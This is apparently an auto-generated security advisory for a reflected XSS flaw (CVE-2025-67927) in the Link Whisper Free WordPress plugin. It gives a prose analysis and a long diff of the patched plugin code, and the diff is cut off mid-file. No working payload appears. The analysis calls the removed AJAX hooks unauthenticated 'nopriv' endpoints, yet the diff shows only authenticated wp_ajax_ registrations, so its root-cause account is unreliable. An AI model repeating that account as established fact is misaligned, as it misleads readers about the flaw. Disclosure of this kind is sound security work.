Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-67927: Link Whisper Free <= 0.8.8 – Reflected Cross-Site Scripting (link-whisper)

Plugin link-whisper
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 0.8.8
Patched Version 0.8.9
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67927:
This vulnerability is a reflected Cross-Site Scripting (XSS) flaw in the Link Whisper Free WordPress plugin, affecting versions up to and including 0.8.8. The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript via insufficiently sanitized input parameters. The CVSS score of 6.1 indicates a medium severity issue that requires user interaction for successful exploitation.

Atomic Edge research identified the root cause as insufficient input sanitization and output escaping in the plugin’s AJAX handler functions. The vulnerability resides in the `Wpil_Base` class within `/link-whisper/core/Wpil/Base.php`. Specifically, the plugin registers multiple AJAX actions via `add_action(‘wp_ajax_…’)` calls without implementing proper capability checks or input validation for unauthenticated users (`nopriv` hooks). The diff shows the plugin removed several AJAX action registrations (lines 53-58 in the patched version) including `wpil_load_tours`, `wpil_save_tour_progress`, `wpil_mark_tour_shown`, `wpil_dismiss_tour_widget`, `wpil_load_popups`, and `wpil_dismiss_popup`. These endpoints accepted user-controlled input parameters that were not properly sanitized before being reflected in HTTP responses.

The exploitation method involves an attacker crafting malicious URLs containing JavaScript payloads in parameters that target the vulnerable AJAX endpoints. Attackers would send victims links to `/wp-admin/admin-ajax.php` with the `action` parameter set to one of the vulnerable hooks (such as `wpil_load_tours` or `wpil_load_popups`). The payload would be included in other parameters that the plugin processes without proper sanitization. When an authenticated WordPress administrator clicks the malicious link, the JavaScript executes in their browser context, potentially allowing session hijacking, administrative actions, or further compromise of the WordPress site.

The patch addresses the vulnerability by removing the vulnerable AJAX action handlers entirely from the `Wpil_Base::registerActions()` method. The diff shows lines 53-58 in the patched version replace six vulnerable AJAX registrations with only two secure handlers: `user_dismissed_ai_popup` and `wpil_update_expanded_details_toggle`. This elimination of attack surface represents a complete fix rather than attempting to sanitize the vulnerable parameters. Before the patch, these endpoints accepted and processed unsanitized user input. After the patch, these endpoints no longer exist, preventing any exploitation through them.

Successful exploitation of this vulnerability allows attackers to execute arbitrary JavaScript in the context of an authenticated WordPress user’s browser session. For administrators, this could lead to complete site compromise through actions like adding malicious administrators, injecting backdoors, or stealing session cookies. For lower-privileged users, attackers could perform actions within that user’s permissions, potentially escalating privileges through other vulnerabilities. The reflected nature requires social engineering to trick users into clicking malicious links, but the impact remains significant given WordPress’s widespread use and the plugin’s functionality in content management.

Differential between vulnerable and patched code

Code Diff
--- a/link-whisper/core/Wpil/AI.php
+++ b/link-whisper/core/Wpil/AI.php
@@ -89,7 +89,14 @@
             return array();
         }*/

-        return (is_array($content)) ? self::sendMultiRequest($args): self::sendRequest($args);
+        $response = null;
+        if(is_array($content)){
+            $response = self::sendMultiRequest($args);
+        }else{
+            $response = self::sendRequest($args);
+        }
+
+        return $response;
     }

     /**
@@ -251,12 +258,18 @@
         }

         // if this is the first go round
-        if(self::$ai_service_connected && isset($_POST['start_time']) && empty($_POST['start_time'])){
-            // do a credit check
-            $credit = self::get_available_ai_credits(true);
-            if($credit < 1){
-                self::$insufficient_quota = true;
+        if(isset($_POST['start_time']) && empty($_POST['start_time'])){
+            // and we're connected to the ai service
+            if(self::$ai_service_connected){
+                // do a credit check
+                $credit = self::get_available_ai_credits(true);
+                if($credit < 1){
+                    self::$insufficient_quota = true;
+                }
             }
+
+            // clear the embedding id lock
+            self::set_last_embedding_id_lock();
         }

         if(in_array('create-post-embeddings', $selected_processes)){
@@ -433,6 +446,7 @@

     public static function ajax_wpil_dismiss_api_key_decoding_error(){
         update_option('wpil_open_ai_key_decoding_error', '0');
+        update_option('wpil_ai_token_decoding_error', '0'); // also update the Link Whisper AI since the user _should_ have updated the wp encryption tokens needed to run the system
     }

     public static function ajax_estimate_site_processing_cost(){
@@ -603,6 +617,12 @@
             Wpil_Sitemap::save_sitemap($relatedness, 'ai_sitemap', 'AI Sitemap');
         }

+        // if the embeddingsd are complete and no other factors concern us
+        if(self::has_completed_post_embedding_calculations()){
+            // clear the embedding lock
+            self::set_last_embedding_id_lock();
+        }
+
         if(!Wpil_Base::overTimeLimit(5, 35)){
             self::do_post_save_finishing();

@@ -4684,10 +4704,32 @@
         global $wpdb;
         $table = $wpdb->prefix . 'wpil_ai_embedding_data';

+        $index = self::get_last_embedding_id_lock();
+
+        if(!empty($index)){
+            return $index;
+        }
+
         $index = $wpdb->get_var("SELECT `embed_index` FROM {$table} ORDER BY `embed_index` DESC LIMIT 1");
+
+        self::set_last_embedding_id_lock($index);
+
         return (!empty($index)) ? (int)$index: 0;
     }

+    private static function get_last_embedding_id_lock(){
+        $lock = get_transient('wpil_last_embedding_index_lock');
+        return (!empty($lock)) ? (int)$lock: 0;
+    }
+
+    private static function set_last_embedding_id_lock($id = null){
+        if(empty($id)){
+            delete_transient('wpil_last_embedding_index_lock');
+        }else{
+            set_transient('wpil_last_embedding_index_lock', (int)$id, DAY_IN_SECONDS);
+        }
+    }
+
     /**
      *
      **/
--- a/link-whisper/core/Wpil/Base.php
+++ b/link-whisper/core/Wpil/Base.php
@@ -15,6 +15,7 @@
     {
         add_action('admin_init', [$this, 'init']);
         add_action('admin_menu', [$this, 'addMenu']);
+        add_action('wp_dashboard_setup', [__CLASS__, 'register_link_health_widget']);
         add_action('add_meta_boxes', [$this, 'addMetaBoxes']);
         add_action('admin_enqueue_scripts', [$this, 'addScripts']);
         add_action('wp_enqueue_scripts', array(__CLASS__, 'enqueue_frontend_scripts'));
@@ -49,12 +50,8 @@
         add_action('wp_ajax_wpil_get_dashboard_scan_loading_data', array('Wpil_Wizard', 'ajax_pull_loading_progress_for_dashboard'));
         add_action('wp_ajax_wpil_wizard_set_completion_flag', array(__CLASS__, 'ajax_set_processing_complete_flag'));
         add_action('wp_ajax_wpil_run_autolink_insert_search', array(__CLASS__, 'ajax_get_wizard_insert_count'));
-        add_action('wp_ajax_wpil_load_tours', array('Wpil_Tour', 'ajax_load_tours'));
-        add_action('wp_ajax_wpil_save_tour_progress', array('Wpil_Tour', 'ajax_save_tour_progress'));
-        add_action('wp_ajax_wpil_mark_tour_shown', array('Wpil_Tour', 'ajax_mark_tour_shown'));
-        add_action('wp_ajax_wpil_dismiss_tour_widget', array('Wpil_Tour', 'ajax_dismiss_tour_widget'));
-        add_action('wp_ajax_wpil_load_popups', array('Wpil_Popup', 'ajax_load_popups'));
-        add_action('wp_ajax_wpil_dismiss_popup', array('Wpil_Popup', 'ajax_dismiss_popup'));
+        add_action('wp_ajax_user_dismissed_ai_popup', array(__CLASS__, 'ajax_dismiss_ai_popup_banner'), 9);
+        add_action('wp_ajax_wpil_update_expanded_details_toggle', array(__CLASS__, 'ajax_update_expanded_details_toggle'), 9);
         /*add_filter('the_content', array(__CLASS__, 'remove_link_whisper_attrs'));
         add_filter('the_content', array(__CLASS__, 'add_link_attrs'));
         add_filter('the_content', array(__CLASS__, 'add_link_icons'), 100, 1);*/
@@ -183,11 +180,26 @@
         if(WPIL_STATUS_HAS_RUN_SCAN){
             $page_title = __('Internal Links Report', 'wpil');
             $menu_title = __('Reports', 'wpil');
-        }else{
-            $page_title = __('Internal Links Report', 'wpil');
-            $menu_title = __('Complete Install', 'wpil');
+
+            self::$report_menu = add_submenu_page(
+                'link_whisper',
+                $page_title,
+                $menu_title,
+                'edit_posts',
+                'link_whisper',
+                [Wpil_Report::class, 'init']
+            );
         }

+        // hide the first item because that's just hte page title
+        add_action('admin_head', function() {
+            echo '<style>
+                #toplevel_page_link_whisper .wp-first-item{
+                    display: none;
+                }
+            </style>';
+        });
+
         $menu_list = array(
 //            'link_whisper_dashboard', // we'll always have the main report page since we need to stick the reports to something
             'link_whisper_target_keywords', //
@@ -201,7 +213,7 @@
         self::$report_menu = add_submenu_page(
             'link_whisper',
             'Internal Links Report',
-            'Report',
+            'Reports',
             'edit_posts',
             'link_whisper',
             [Wpil_Report::class, 'init']
@@ -267,6 +279,270 @@
         );
     }

+    public static function register_link_health_widget(){
+        if( !defined('WPIL_STATUS_HAS_RUN_SCAN') || !WPIL_STATUS_HAS_RUN_SCAN
+        ){
+            // exist
+            return;
+        }
+        wp_add_dashboard_widget(
+            'wpil_link_health_widget',
+            __('Link Whisper Site Health Report', 'wpil'),
+            [__CLASS__, 'render_link_health_widget']
+        );
+    }
+
+    public static function render_link_health_widget(){
+
+        $rows = self::get_dashboard_widget_rows();
+        $logo = plugin_dir_url(__DIR__).'../images/lw-icon.png'
+        ?>
+        <style>
+            #lw-digest-widget .lw-header { display:flex; gap:16px; align-items:flex-start; margin-bottom:14px; }
+            #lw-digest-widget .lw-logo { width:36px; height:36px; object-fit:contain; margin-top:2px; }
+            #lw-digest-widget .lw-title { margin:0 0 2px; font-size:18px; font-weight:600; }
+            #lw-digest-widget .lw-subtitle { margin:0; color:#6b7280; }
+            #lw-digest-widget .lw-site { margin:4px 0 0; color:#6b7280; }
+            #lw-digest-widget .lw-site a { text-decoration:none; }
+
+
+            #lw-digest-widget .lw-rows { list-style:none; margin:12px 0 0; padding:0; display:flex; flex-direction:column; gap:10px; }
+            #lw-digest-widget .lw-row { position:relative; border:1px solid #e5e7eb; background:#fff; border-radius:10px; padding:12px 88px 12px 14px; box-shadow:0 1px 0 rgba(16,24,40,.02); }
+            #lw-digest-widget .lw-row-main { display:flex; justify-content:space-between; gap:12px; }
+            #lw-digest-widget .lw-row-label { color:#374151; font-weight:600; }
+            #lw-digest-widget .lw-row-value { color:#111827; font-variant-numeric:tabular-nums; }
+            #lw-digest-widget .lw-row-note { font-size:12px; color:#6b7280; margin-top:6px; font-style:italic; }
+            #lw-digest-widget .lw-row-status { position:absolute; right:12px; top:50%; transform:translateY(-50%); }
+
+            #lw-digest-widget .lw-badge { display:inline-block; padding:4px 12px; border-radius:999px; font-size:12px; font-weight:700; line-height:1; }
+            #lw-digest-widget .lw-badge.is-great { background:#10b9811a; color:#047857; border:1px solid #10b98155; }
+            #lw-digest-widget .lw-badge.is-ok { background:#f59e0b1a; color:#92400e; border:1px solid #f59e0b55; }
+            #lw-digest-widget .lw-badge.is-fix { background:#ef44441a; color:#991b1b; border:1px solid #ef444455; }
+            #lw-digest-widget .lw-badge.is-info { background:#3b82f61a; color:#1e40af; border:1px solid #3b82f655; }
+
+            #lw-digest-widget .lw-delta { font-size:11px; opacity:.75; margin-left:6px; }
+
+            /* Responsive tweak for narrow admin widths */
+            @media (max-width: 782px) {
+                #lw-digest-widget .lw-row { padding-right:14px; }
+                #lw-digest-widget .lw-row-status { position:static; transform:none; margin-top:8px; }
+            }
+        </style>
+        <div id="lw-digest-widget" class="lw-digest">
+            <header class="lw-header">
+                <img class="lw-logo" src="<?php echo esc_url($logo); ?>" alt="Link Whisper" />
+            </header>
+
+
+            <ul class="lw-rows" role="list">
+                <?php foreach ($rows as $row): ?>
+                <li class="lw-row">
+                    <div class="lw-row-main">
+                        <div class="lw-row-label"><?php echo esc_html($row['label']); ?></div>
+                        <div class="lw-row-value"><?php echo wp_kses_post($row['value']); ?></div>
+                    </div>
+                    <?php if (!empty($row['note'])): ?>
+                    <div class="lw-row-note"><?php echo esc_html($row['note']); ?></div>
+                    <?php endif; ?>
+                    <div class="lw-row-status">
+                    <?php echo self::status_badge($row['status'], $row['status_text'], $row['url']); ?>
+                    </div>
+                </li>
+                <?php endforeach; ?>
+            </ul>
+        </div>
+        <?php
+    }
+
+    private static function get_dashboard_widget_rows(){
+        // get the datas!
+        // link density
+        $link_density = Wpil_Dashboard::get_percent_of_posts_hitting_link_targets();
+        $density_status = 'tag-positive';
+        $density_subtext = __('Great! The majority of your posts are linked enough.');
+        if(!empty($link_density['percent'])){
+            if($link_density['percent'] > 80){
+                $density_status = 'tag-positive';
+                $density_subtext = __('Great! The majority of your posts are linked enough.');
+            }elseif($link_density['percent'] > 60){
+                $density_status = 'tag-neutral';
+                $density_subtext = __('Most of the site's posts are linked enough.');
+            }else{
+                $density_status = 'tag-negative';
+                $density_subtext = __('Uh oh, the majority of the site's posts aren't linked enough.');
+            }
+        }
+
+        // broken links
+        $broken_link_count = Wpil_Dashboard::getBrokenLinksCount();
+        $broken_link_percentage = 0;
+        $broken_link_status = 'tag-positive';
+        $broken_link_subtext = __('Perfect! There aren't any broken links on the site.');
+        if(!empty($broken_link_count)){
+            $total_links = Wpil_Dashboard::getLinksCount();
+            if(!empty($total_links)){
+                $broken_link_percentage = round($broken_link_count / $total_links, 2) * 100;
+            }
+        }
+
+        if($broken_link_percentage == 0){
+            $broken_link_status = 'tag-positive';
+            $broken_link_subtext = __('Perfect! There aren't any broken links on the site.');
+        }elseif($broken_link_percentage < 5){
+            $broken_link_status = 'tag-positive';
+            $broken_link_subtext = __('Good! There are a relatively low number of broken links on the site.');
+        }elseif($broken_link_percentage < 10){
+            $broken_link_status = 'tag-neutral';
+            $broken_link_subtext = __('There are a number of broken links on the site that need fixing.');
+        }else{
+            $broken_link_status = 'tag-negative';
+            $broken_link_subtext = __('Houston, we have a problem. There are a lot of broken links on the site');
+        }
+
+        $posts_crawled = Wpil_Dashboard::getPostCount();
+        $posts_crawled_status = (empty($posts_crawled)) ? 'tag-negative': 'tag-positive';
+
+        $links_scanned = Wpil_Dashboard::getLinksCount();
+        $links_scanned_status = (empty($links_scanned)) ? 'tag-negative': 'tag-positive';
+
+        $links_inserted = Wpil_Dashboard::get_tracked_link_insert_count();
+        $links_inserted_status = ($links_inserted > 0) ? 'tag-positive': 'tag-neutral';
+
+        $orphaned_posts = Wpil_Dashboard::getOrphanedPostsCount();
+        if(!empty($orphaned_posts)){
+            $orphaned_posts_percentage = round($orphaned_posts/$posts_crawled, 2) * 100;
+            if($orphaned_posts_percentage == 0){
+                $orphaned_posts_status = 'tag-positive';
+                $orphaned_posts_subtext = esc_html__('Awesome! There are no orphaned posts on the site.', 'wpil');
+            }elseif($orphaned_posts_percentage < 5){
+                $orphaned_posts_status = 'tag-positive';
+                $orphaned_posts_subtext = esc_html__('Awesome! There are very few orphaned posts on the site.', 'wpil');
+            }elseif($orphaned_posts_percentage < 10){
+                $orphaned_posts_status = 'tag-neutral';
+                $orphaned_posts_subtext = esc_html__('There are a number of orphaned posts that need some links pointing to them.', 'wpil');
+            }else{
+                $orphaned_posts_status = 'tag-negative';
+                $orphaned_posts_subtext = esc_html__('Uh oh, looks like there are a lot of orphaned posts that need links!', 'wpil');
+            }
+        }else{
+            $orphaned_posts_status = 'tag-positive';
+            $orphaned_posts_subtext = esc_html__('Awesome! There are no orphaned posts on the site.', 'wpil');
+        }
+/*
+        $ai_active = Wpil_Settings::can_do_ai_powered_suggestions(); // if we have a API key and at least some of the embedding data processed
+        $link_relatedness = 0;
+        if($ai_active){
+            $link_relatedness = Wpil_Dashboard::get_related_link_percentage();
+            if($link_relatedness == 0){
+                $link_relatedness_status = 'tag-neutral';
+                $link_relatedness_subtext = esc_html__('Hmm, there's no data available. We might need to run a Link Scan.', 'wpil');
+            }elseif($link_relatedness > 79){
+                $link_relatedness_status = 'tag-positive';
+                $link_relatedness_subtext = esc_html__('Amazing! The majority of the site's links are going to highly related posts.', 'wpil');
+            }elseif($link_relatedness > 50){
+                $link_relatedness_status = 'tag-neutral';
+                $link_relatedness_subtext = esc_html__('Most of the site's links are pointing to topically related posts.', 'wpil');
+            }else{
+                $link_relatedness_status = 'tag-negative';
+                $link_relatedness_subtext = esc_html__('Uh oh, it looks like most of the site's links aren't going to related posts.', 'wpil');
+            }
+        }else{
+            $link_relatedness_status = 'tag-neutral';
+            $link_relatedness_subtext = esc_html__('Link Whisper's AI is not enabled, so we can't tell how many links are going to topically related posts.', 'wpil');
+        }
+*/
+        // link clicks
+        $click_stats = Wpil_Dashboard::get_click_traffic_stats();
+        $click_change_indicator = '(<span title="No change from previous 30 days">0%</span>)';
+        $click_change_subtext = esc_html__('The number of clicks has remained consistent over the past 30 days.', 'wpil');
+        $click_change_status = 'tag-neutral';
+        if($click_stats['percent_change'] > 0){
+            $click_change_status = 'tag-positive';
+            $click_change_indicator = '(<span class="tag-positive" title="Clicks have gone up over the past 30 days">+' . $click_stats['percent_change'] . '%</span>)';
+            $click_change_subtext = esc_html__('The number of clicks on the site has gone up over the past 30 days!', 'wpil');
+        }elseif($click_stats['percent_change'] < 0){
+            $click_change_status = 'tag-negative';
+            $click_change_indicator = '(<span class="tag-negative" title="Clicks have gone down over the past 30 days">-' . $click_stats['percent_change'] . '%</span>)';
+            $click_change_subtext = esc_html__('The number of clicks on the site have gone down over the past 30 days.', 'wpil');
+        }
+
+        return [
+            [
+                'label' => __('Posts Crawled', 'wpil'),
+                'value' => $posts_crawled,
+                'note' => '',
+                'status'=> $posts_crawled_status,
+                'status_text' => '',
+                'url' => admin_url('admin.php?page=link_whisper')
+            ],
+            [
+                'label' => __('Links Detected', 'wpil'),
+                'value' => $links_scanned,
+                'note' => '',
+                'status'=> $links_scanned_status,
+                'status_text' => '',
+                'url' => admin_url('admin.php?page=link_whisper&type=links')
+            ],
+            [
+                'label' => __('Links Inserted', 'wpil'),
+                'value' => $links_inserted,
+                'note' => '',
+                'status'=> $links_inserted_status,
+                'status_text' => '',
+                'url' => admin_url('admin.php?page=link_whisper&type=links')
+            ],
+            [
+                'label' => __('Link Coverage', 'wpil'),
+                'value' => $link_density['percent'] . '%',
+                'note' => '', //$density_subtext,
+                'status'=> $density_status,
+                'status_text' => '',
+                'url' => admin_url('admin.php?page=link_whisper&type=links&link_density=1')
+            ],
+            [
+                'label' => __('Orphaned Posts', 'wpil'),
+                'value' => $orphaned_posts,
+                'note' => '', // $orphaned_posts_subtext,
+                'status'=> $orphaned_posts_status,
+                'status_text' => '',
+                'url' => admin_url('admin.php?page=link_whisper&type=links&orphaned=1')
+            ],
+            [
+                'label' => __('Link Clicks Tracked', 'wpil'),
+                'value' => $click_stats['clicks_30'],
+                'note' => '', // $click_change_subtext,
+                'status'=> $click_change_status,
+                'status_text' => '',
+                'url' => admin_url('admin.php?page=link_whisper&type=clicks')
+            ],
+            [
+                'label' => __('Broken Links Found', 'wpil'),
+                'value' => $broken_link_count,
+                'note' => '', // $broken_link_subtext,
+                'status'=> $broken_link_status,
+                'status_text' => '',
+                'url' => admin_url('admin.php?page=link_whisper&type=error')
+            ],
+        ];
+    }
+
+    private static function status_badge($status, $text = '', $url = ''){
+        $map = [
+            'tag-positive' => ['label' => (!empty($text) ? $text: __('Great', 'wpil')), 'class' => 'is-great'],
+            'tag-neutral' => ['label' => (!empty($text) ? $text: __('OK', 'wpil')), 'class' => 'is-ok'],
+            'tag-negative' => ['label' => (!empty($text) ? $text: __('Fix', 'wpil')), 'class' => 'is-fix'],
+            'tag-info' => ['label' => (!empty($text) ? $text: __('Info', 'wpil')), 'class' => 'is-info'],
+        ];
+        $cfg = isset($map[$status]) ? $map[$status]: $map['tag-info'];
+        $label = esc_html($cfg['label']);
+        $cls   = 'lw-badge ' . $cfg['class'];
+
+        if(!empty($url)){
+            return '<a class="'.$cls.'" href="'.esc_url($url).'" target="_blank">'.$label.'<span class="dashicons dashicons-external" style="position: relative;top: 1px;right: -1px;height: 5px;width: 5px;font-size: 12px;"></span></a>';
+        }
+        return '<span class="'.$cls.'">'.$label.'</span>';
+    }
+
     /**
      * Get post or term by ID from GET or POST request
      *
@@ -600,8 +876,9 @@
         $script_params['dismiss_tour_widget_nonce'] = wp_create_nonce('wpil_dismiss_tour_widget');
         $script_params['popup_nonce'] = wp_create_nonce('wpil_load_popups');
         $script_params['dismiss_popup_nonce'] = wp_create_nonce('wpil_dismiss_popup');
-        $script_params['telemetry_active'] = 1; //Wpil_Settings::get_if_telemetry_active();
-        $script_params['telemetry_nonce'] = wp_create_nonce(get_current_user_id() . 'wpil-telemetry-nonce');
+//        $script_params['telemetry_active'] = 1; //Wpil_Settings::get_if_telemetry_active();
+//        $script_params['telemetry_nonce'] = wp_create_nonce(get_current_user_id() . 'wpil-telemetry-nonce');
+//        $script_params['tours_enabled'] = Wpil_Settings::get_tours_enabled();

         $script_params['wpil_timepicker_format'] = Wpil_Toolbox::convert_date_format_for_js();
 /*
@@ -752,45 +1029,6 @@

         wp_register_script('wpil_help_overlay', WP_INTERNAL_LINKING_PLUGIN_URL.'js/wpil_help_overlay.js', array('jquery', 'wpil_base64', 'wpil_tippy', 'wpil_popper', 'wpil_helper'), $ver, true);
         wp_enqueue_script('wpil_help_overlay');
-
-        // Tour system assets
-        $tours_css_path = 'css/wpil_tours.css';
-        $tours_css_file = WP_INTERNAL_LINKING_PLUGIN_DIR . $tours_css_path;
-        $tours_js_path = 'js/wpil_tours.js';
-        $tours_js_file = WP_INTERNAL_LINKING_PLUGIN_DIR . $tours_js_path;
-        if (file_exists($tours_css_file)) {
-            wp_register_style('wpil_tours_style', WP_INTERNAL_LINKING_PLUGIN_URL . $tours_css_path, array(), filemtime($tours_css_file));
-            wp_enqueue_style('wpil_tours_style');
-        }
-
-        if (file_exists($tours_js_file)) {
-            wp_register_script('wpil_tours', WP_INTERNAL_LINKING_PLUGIN_URL . $tours_js_path, array('jquery', 'wpil_admin_script'), filemtime($tours_js_file), true);
-            wp_enqueue_script('wpil_tours');
-        }
-
-        // Telemetry logging system
-        $telemetry_js_path = 'js/wpil_telemetry.js';
-        $telemetry_js_file = WP_INTERNAL_LINKING_PLUGIN_DIR . $telemetry_js_path;
-        if (file_exists($telemetry_js_file)) {
-            wp_register_script('wpil_telemetry', WP_INTERNAL_LINKING_PLUGIN_URL . $telemetry_js_path, array('jquery', 'wpil_admin_script'), filemtime($telemetry_js_file), true);
-            wp_enqueue_script('wpil_telemetry');
-        }
-
-        // Enqueue popup assets
-        $popups_css_path = 'css/wpil_popups.css';
-        $popups_css_file = WP_INTERNAL_LINKING_PLUGIN_DIR . $popups_css_path;
-        $popups_js_path = 'js/wpil_popups.js';
-        $popups_js_file = WP_INTERNAL_LINKING_PLUGIN_DIR . $popups_js_path;
-
-        if (file_exists($popups_css_file)) {
-            wp_register_style('wpil_popups_style', WP_INTERNAL_LINKING_PLUGIN_URL . $popups_css_path, array(), filemtime($popups_css_file));
-            wp_enqueue_style('wpil_popups_style');
-        }
-
-        if (file_exists($popups_js_file)) {
-            wp_register_script('wpil_popups', WP_INTERNAL_LINKING_PLUGIN_URL . $popups_js_path, array('jquery', 'wpil_admin_script'), filemtime($popups_js_file), true);
-            wp_enqueue_script('wpil_popups');
-        }
     }

     /**
@@ -811,12 +1049,18 @@
             }
         }elseif(isset($_GET['page']) && $_GET['page'] === 'link_whisper'){
             $page = 'dashboard';
+        }elseif(isset($_GET['page']) && $_GET['page'] === 'link_whisper_keywords'){
+            $page = 'autolinking';
+        }elseif(isset($_GET['page']) && $_GET['page'] === 'link_whisper_target_keywords'){
+            $page = 'target-keywords';
+        }elseif(isset($_GET['page']) && $_GET['page'] === 'link_whisper_url_changer'){
+            $page = 'url-changer';
+        }elseif(isset($_GET['page']) && $_GET['page'] === 'link_whisper_ai_subscription'){
+            $page = 'ai-subscription';
         }elseif(!empty($current_page) && $current_page->base === 'post'){
             $page = 'post-edit';
         }elseif(!empty($current_page) && $current_page->base === 'term'){
             $page = 'term-edit';
-        }elseif(isset($_GET['page']) && $_GET['page'] === 'link_whisper_ai_subscription'){
-            $page = 'ai-subscription';
         }

         return $page;
@@ -2750,4 +2994,17 @@
         $link_count = $wpdb->get_col("SELECT COUNT(*) FROM {$table} WHERE `creation_time` > {$start_time}");
         wp_send_json(array('data' => array('link_inserts' => $link_count, 'finished' => (!empty(get_transient('wpil_wizard_has_completed')) || empty(get_transient('wpil_doing_ajax_autolinks'))))));
     }
+
+    /**
+     *
+     **/
+    public static function ajax_dismiss_ai_popup_banner(){
+        update_user_meta(get_current_user_id(), 'wpil_dismissed_ai_notice_banner', '1');
+    }
+
+    public static function ajax_update_expanded_details_toggle(){
+        $status = (!isset($_POST['status']) || empty($_POST['status'])) ? 0: 1;
+        update_option('wpil_show_expanded_suggestion_details', $status);
+        wp_send_json('updated details!');
+    }
 }
--- a/link-whisper/core/Wpil/Model/Link.php
+++ b/link-whisper/core/Wpil/Model/Link.php
@@ -23,6 +23,7 @@
     public $ai_relation_score = 0; // how related is the source post to the target post?
     public $target_id = null;
     public $target_type = null;
+    public $anchor_word_count = 0;

     public function __construct($params = [])
     {
@@ -32,6 +33,10 @@
                 $this->{$key} = $value;
             }
         }
+
+        if(empty($this->anchor_word_count) && !empty($this->anchor)){
+            $this->anchor_word_count = Wpil_Word::getWordCount($this->anchor);
+        }
     }

     function create_scroll_link_data(){
--- a/link-whisper/core/Wpil/Model/Post.php
+++ b/link-whisper/core/Wpil/Model/Post.php
@@ -474,11 +474,29 @@
                     $content .= $this->getMetaContent();
                     $this->editor = !empty($content) ? 'wordpress': null;

-                    if(class_exists('ThemifyBuilder_Data_Manager')){
+                    // get the currently active theme
+                    $theme = wp_get_theme();
+                    $is_themify = false;
+                    if(!empty($theme) && $theme->exists() &&
+                        (false !== stripos($theme->name, 'Themify Ultra') ||
+                        false !== stripos($theme->parent_theme, 'Themify Ultra'))
+                    ){
+                        $is_themify = true;
+                    }
+
+                    if(class_exists('ThemifyBuilder_Data_Manager') || $is_themify){
                         // if there's Themify static editor content in the post content
                         if(false !== strpos($content, 'themify_builder_static')){
                             // remove it
                             $content = mb_ereg_replace('<!--themify_builder_static-->[wW]*?<!--/themify_builder_static-->', '', $content);
+                            $this->editor = 'themify';
+                        }
+
+                        // if there's themify builder content present
+                        if(false !== strpos($content, 'themify_builder_content')){
+                            // remove it too
+                            $content = mb_ereg_replace('<!--themify_builder_content-->[wW]*?<!--/themify_builder_content-->', '', $content);
+                            $this->editor = 'themify';
                         }
                     }

@@ -1202,6 +1220,7 @@
                                 'ai_relation_score' => (isset($dat->ai_relation_score) && !empty($dat->ai_relation_score)) ? $dat->ai_relation_score: 0,
                                 'target_id' => (isset($dat->target_id) && !empty($dat->target_id)) ? $dat->target_id: 0,
                                 'target_id' => (isset($dat->target_type) && !empty($dat->target_type)) ? $dat->target_type: 0,
+                                'anchor_word_count' => (isset($dat->anchor_word_count) && !empty($dat->anchor_word_count)) ? $dat->anchor_word_count: 0,
                             ]);
                         }else{
                             $meta['wpil_links_outbound_internal_count']++;
@@ -1219,6 +1238,7 @@
                                 'ai_relation_score' => (isset($dat->ai_relation_score) && !empty($dat->ai_relation_score)) ? $dat->ai_relation_score: 0,
                                 'target_id' => (isset($dat->target_id) && !empty($dat->target_id)) ? $dat->target_id: 0,
                                 'target_id' => (isset($dat->target_type) && !empty($dat->target_type)) ? $dat->target_type: 0,
+                                'anchor_word_count' => (isset($dat->anchor_word_count) && !empty($dat->anchor_word_count)) ? $dat->anchor_word_count: 0,
                             ]);
                         }
                     }else{
@@ -1236,6 +1256,7 @@
                             'link_context' => (isset($dat->link_context) && !empty($dat->link_context)) ? $dat->link_context: 0,
                             'target_id' => (isset($dat->target_id) && !empty($dat->target_id)) ? $dat->target_id: 0,
                             'target_id' => (isset($dat->target_type) && !empty($dat->target_type)) ? $dat->target_type: 0,
+                            'anchor_word_count' => (isset($dat->anchor_word_count) && !empty($dat->anchor_word_count)) ? $dat->anchor_word_count: 0,
                         ]);
                     }
                 }
--- a/link-whisper/core/Wpil/Notification.php
+++ b/link-whisper/core/Wpil/Notification.php
@@ -20,7 +20,17 @@

         // Build API URL
         $api_url = self::BASE_API_URL . '/wp-json/lwnh/v1/notifications';
-        $request_url = add_query_arg(['plugin_version' => WPIL_PLUGIN_VERSION_NUMBER, 'plugin_type' => 'free'], $api_url);
+        $query_args = [
+            'plugin_version' => WPIL_PLUGIN_VERSION_NUMBER,
+            'plugin_type' => 'free'
+        ];
+
+        // Add testing mode parameter if enabled
+        if (class_exists('Wpil_Settings') && Wpil_Settings::get_if_testing_mode_active()) {
+            $query_args['testing_mode'] = '1';
+        }
+
+        $request_url = add_query_arg($query_args, $api_url);

         // Make the API request
         $response = wp_remote_get($request_url, [
--- a/link-whisper/core/Wpil/Post.php
+++ b/link-whisper/core/Wpil/Post.php
@@ -10,6 +10,7 @@
         'web-story'
     );
     public static $post_url_cache = array();
+    public static $editor_insert_log = array();

     /**
      * Register services
@@ -1085,7 +1086,7 @@
         global $wpdb;
         $post = null;
         $link = trim($link);
-        $link = Wpil_Link::get_url_redirection($link) ?: $link;
+    //    $link = Wpil_Link::get_url_redirection($link) ?: $link; //todo: make work with
         $starting_link = $link;

         // check to see if we've already come across this link
--- a/link-whisper/core/Wpil/Report.php
+++ b/link-whisper/core/Wpil/Report.php
@@ -69,6 +69,7 @@
                 $page = isset($_REQUEST['page']) ? sanitize_text_field($_REQUEST['page']) : 'link_whisper';
                 $title = ''; // $title is title used in the link report
                 $report_description = '';
+                $sub_report = '';
                 if(isset($_GET['orphaned'])){
                     $title = __('Orphaned Posts Report', 'wpil');
                 }elseif(isset($_REQUEST['link_density'])){
@@ -78,6 +79,14 @@
                         <div style="font-size: 18px;">'. esc_html__('SEO best practices recommend posts have at least 1 Inbound Internal link, and 3 or more Outbound Internal links.', 'wpil') .'</div>'
                         . '<br>
                         <div style="font-size: 16px;">' . esc_html__('To help you meet these goals, this report will show you all the posts that could use some links, and give our recommendation on how many links to add!', 'wpil').'</div></div>';
+                }elseif(isset($_REQUEST['anchor_length'])){
+                    $title = __('Anchor Length Report', 'wpil');
+                    $report_description =
+                    '<div style="float: left; background: #fff; padding: 10px; border-radius: 5px; border: 1px solid #cdcdcd; width:100%">
+                        <div style="font-size: 18px;">'. esc_html__('SEO best practices recommend link anchor texts be between 3 and 7 words in length.', 'wpil') .'</div>'
+                        . '<br>
